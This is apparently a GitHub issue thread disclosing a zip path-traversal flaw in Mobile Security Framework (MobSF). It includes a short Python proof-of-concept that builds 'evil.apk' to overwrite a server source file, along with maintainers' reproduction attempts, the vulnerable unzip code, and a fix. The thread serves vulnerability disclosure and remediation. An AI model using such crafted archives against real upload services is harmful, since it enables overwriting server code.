[Security] Upload a malicious zip file can overwrite arbitary files >=v0.9.3.2 && <=0.9.4.1

[ic3z]

Generate malicious zip files

generate_zipfile.py

import zipfile
z_info = zipfile.ZipInfo(r"..\..\StaticAnalyzer\__init__.py")
z_file = zipfile.ZipFile("evil.apk", mode="w")
z_file.writestr(z_info, "print 111111")
z_file.close()

Upload evil.apk file

When the evil.apk is unpacked, the file StaticAnalyzer\__init__.py will be overwritten

[ajinabraham]

Done an initial analysis. It looks like an issue with Python zipfile lib used by MobSF.

My environment

Python 2.7.10 
Mobile Security Framework v0.9.4 Beta
OS: OSX / Darwin
Platform: Darwin-16.4.0-x86_64-i386-64bit

I was not able to replicate this. The __init__.py was not overwritten.

This is how MobSF do unzip:

Mobile-Security-Framework-MobSF/StaticAnalyzer/views/shared_func.py

Lines 63 to 103 in 81ef320

	def Unzip(APP_PATH, EXT_PATH):
	print "[INFO] Unzipping"
	try:
	files = []
	with zipfile.ZipFile(APP_PATH, "r") as z:
	for fileinfo in z.infolist():
	dat = z.open(fileinfo.filename, "r")
	filename = fileinfo.filename
	if not isinstance(filename, unicode):
	filename = unicode(fileinfo.filename,
	encoding="utf-8", errors="replace")
	files.append(filename)
	outfile = os.path.join(EXT_PATH, filename)
	if not os.path.exists(os.path.dirname(outfile)):
	try:
	os.makedirs(os.path.dirname(outfile))
	except OSError as exc: # Guard against race condition
	if exc.errno != errno.EEXIST:
	print "\n[WARN] OS Error: Race Condition"
	if not outfile.endswith("/"):
	with io.open(outfile, mode='wb') as f:
	f.write(dat.read())
	dat.close()
	return files
	except:
	PrintException("[ERROR] Unzipping Error")
	if platform.system() == "Windows":
	print "\n[INFO] Not yet Implemented."
	else:
	print "\n[INFO] Using the Default OS Unzip Utility."
	try:
	subprocess.call(
	['unzip', '-o', '-q', APP_PATH, '-d', EXT_PATH])
	dat = subprocess.check_output(['unzip', '-qq', '-l', APP_PATH])
	dat = dat.split('\n')
	x = ['Length Date Time Name']
	x = x + dat
	return x
	except:
	PrintException("[ERROR] Unzipping Error")

@DominikSchlecht, Can you see if this issue can be reproduced on a Windows Box.(My Windows VMs are bit messed up). I couldn't reproduce this on OSX using Python 2.7.10

@ic3z: What is your Python version?

We should also investigate if the native os unzip binary have this issue:

Mobile-Security-Framework-MobSF/StaticAnalyzer/views/shared_func.py

Line 95 in 81ef320

['unzip', '-o', '-q', APP_PATH, '-d', EXT_PATH])

[sn0b4ll]

Will have a look into this in some hours.

Greetings,
Dominik

[sn0b4ll]

I can verify this on windows. Will start searching for a fix (maybe other zip-lib?).

Greetings,
Dominik

[sn0b4ll]

Pushed a fix (996bc85) for windows. Using the extract-method, all "illegal characters" will be removed (doc).

In Mac all tests pass, on windows there is a problem with the tests itself ;) But manual tests showed good results for both windows and android apps.

@ic3z, @ajinabraham Please check, verify and merge if the solution is ok.

Greetings,
Dominik

[ic3z]

Good manual testing on windows.
@DominikSchlecht

native os unzip binary not have this issue. But the file permissions after decompression is 000.

chang create_zip function
z_info.external_attr = 0777 << 16L

thank for testing on mac @AlkenePan

[AlkenePan]

cool

[ajinabraham]

@ic3z @AlkenePan
I couldn't reproduce the issue on Mac. Refer: https://asciinema.org/a/5wqxztxmy0soh18osj5qwo6bx
But it should be fixed in latest master (v0.9.4.2Beta) by @DominikSchlecht

[ajinabraham]

@ic3z @AlkenePan Can you guys check if this is fixed in latest master